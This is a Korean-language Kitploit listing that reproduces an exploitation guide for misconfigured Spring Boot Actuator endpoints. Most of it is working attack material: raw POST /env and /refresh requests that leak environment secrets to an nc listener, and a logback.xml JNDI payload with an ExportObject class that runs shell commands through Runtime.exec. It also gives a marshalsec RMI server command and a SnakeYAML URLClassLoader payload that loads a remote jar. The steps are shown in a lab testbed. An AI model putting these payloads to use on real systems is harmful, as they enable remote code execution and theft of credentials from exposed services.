Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SpringBoot_Actuator_RCE — SpringBoot_Actuator_RCE | Kitploit
도구/GitHubGitHub/jas502n/springboot_actuator_rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMisconfigurationAPI Security
GitHubjas502n/springboot_actuator_rce

SpringBoot_Actuator_RCE

SpringBoot_Actuator_RCE

저장소 보기
95166년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

swagger-ui 인터페이스

/swagger-ui.html

SpringBoot env에서 * 민감 정보 획득 (1)

springboot 사이트에 직접 접속하면 일부 password 필드에 *가 채워져 있는 것을 볼 수 있습니다

  1. ${name}을 통해 평문 필드를 얻을 수 있습니다
  2. 잘못된 구성으로 인해 민감 정보가 유출됩니다(password는 별표 처리, pwd는 별표 처리 안 됨)

참고 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

구체적인 구현 과정:

예: pid 매개변수 값을 가져오려는 경우

root@kitploit:~
"PID": "10648",
root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

그런 다음 POST /refresh에 임의의 내용을 전송하여 취약점을 트리거합니다

Ps: 일반적으로 응답 패킷을 받으려면 3초 정도 기다려야 하며, 즉시 반환된다면 서비스에 spring-boot-starter-actuator 확장 패키지가 없어서 refresh할 수 없으므로 취약점을 이용할 수 없는 것일 수 있습니다

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

서버에서 nc가 포트 2444를 리슨하고 있으면 다음과 같이 수신됩니다

root@kitploit:~
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==

Authorization: Basic MzgzNDY6bnVsbA==

base64 디코딩 결과

root@kitploit:~
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null

위의 pid 정보와 동일합니다

마찬가지로 user.country 매개변수를 가져오는 방법도 단계가 동일합니다

결과:

root@kitploit:~
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==

 sent 0, rcvd 310

base64 디코딩 결과

root@kitploit:~
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null

스크립트화

조회할 매개변수를 입력하고, nc가 리슨할 포트를 입력합니다

포트를 리슨하여 지정된 header를 획득하고, 자동으로 base64 디코딩합니다

Ps: 운이 좋게 대상 클래스패스에 Eureka-Client <1.8.7이 있다면(일반적으로 Spring Cloud Netflix에 포함됨), 여기에 포함된 XStream 역직렬화 취약점을 이용할 수 있습니다.

예: User-Agent: Java-EurekaClient/v1.4.11

SpringBoot_Actuator JNDI RCE 취약점 재현 (2)

0x01 환경 구축

git clone https://github.com/veracode-research/actuator-testbed

시작

root@kitploit:~
mvn install
或
mvn spring-boot:run

컴파일하여 실행해 보면 리슨 IP 주소가 127.0.0.1로 설정되어 있어 로컬에서만 접근할 수 있습니다 Baidu에서 검색해 보면 0.0.0.0으로 수정하면 됩니다

핵심 파일 찾기

grep -r 'server.address' -n ./

root@kitploit:~
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1

다음으로 변경

root@kitploit:~
server.port=8090
server.address=0.0.0.0

# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*

0x02 재시작

mvn spring-boot:run

또는

root@kitploit:~
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run

잠시 기다립니다

root@kitploit:~
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

여기서 reloadByURL을 사용하면 원격 url xml 파일을 로드할 수 있습니다

root@kitploit:~
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}

0x03 http 서버에 logback.xml, ExportObject.class 배치

logback.xml 파일 내용

root@kitploit:~
<configuration>
  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>

ExportObject.java

root@kitploit:~
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
   public ExportObject() throws Exception {
      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
      InputStream var2 = var1.getInputStream();
      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));

      String var4;
      while((var4 = var3.readLine()) != null) {
         System.out.println(var4);
      }

      var1.waitFor();
      var2.close();
      var3.close();
      var1.destroy();
   }

   public static void main(String[] var0) throws Exception {
   }
}

0x04 RCE 트리거

rmi 포트 리슨

root@kitploit:~
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject


root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection



브라우저가 원격 logback.xml 파일에 접근하여 로드하고 파싱하며,

서버가 악성 jndi 주소에 접근하여 악성 바이트코드가 실행됩니다

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

0x05 명령 실행 성공

root@kitploit:~
root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#

YML RCE 취약점 재현 (3)

Spring 환경에서 spring.cloud.bootstrap.location 속성을 수정하여 RCE를 구현하는 방법이 더 안정적입니다

이 속성은 외부 구성을 로드하여 YAML 형식으로 파싱하는 데 사용됩니다. 이를 구현하려면 POST /refresh에 임의의 내용을 전송하여 취약점을 트리거해야 합니다.

yaml_payload.yml 파일 내용

root@kitploit:~
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
  ]]
]

0x00 yaml_payload.jar 제작

코드 https://github.com/artsploit/yaml-payload

AwesomeScriptEngineFactory.java 일부 코드

root@kitploit:~
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java

실제 바이트코드를 포함하고 있으며, 생성자에 악성 페이로드가 포함되어 있습니다.

ymal_payload.jar\services\javax.script.ScriptEngineFactory

'artsploit.AwesomeScriptEngineFactory'에 대한 전체 참조만 포함된 텍스트 파일이며, ServiceLoader가 해당 클래스를 찾을 위치를 알 수 있도록 하기 위한 것입니다.

내용: artsploit.AwesomeScriptEngineFactory

jar 파일을 http 서버에 배치합니다

http://10.20.24.191:8090/ymal_payload.jar

0x01 spring.cloud.bootstrap.location 설정

spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

root@kitploit:~
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

0x02 refresh에 임의 내용 POST, RCE 취약점 트리거

root@kitploit:~
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

12312

0x03 RCE 실행 성공

root@kitploit:~
root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html# 

Ps: Eureka의 XStream 페이로드와 비교했을 때, yaml 방식은 최신 버전에서도 사용할 수 있습니다.

참고 링크

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

도구 다운로드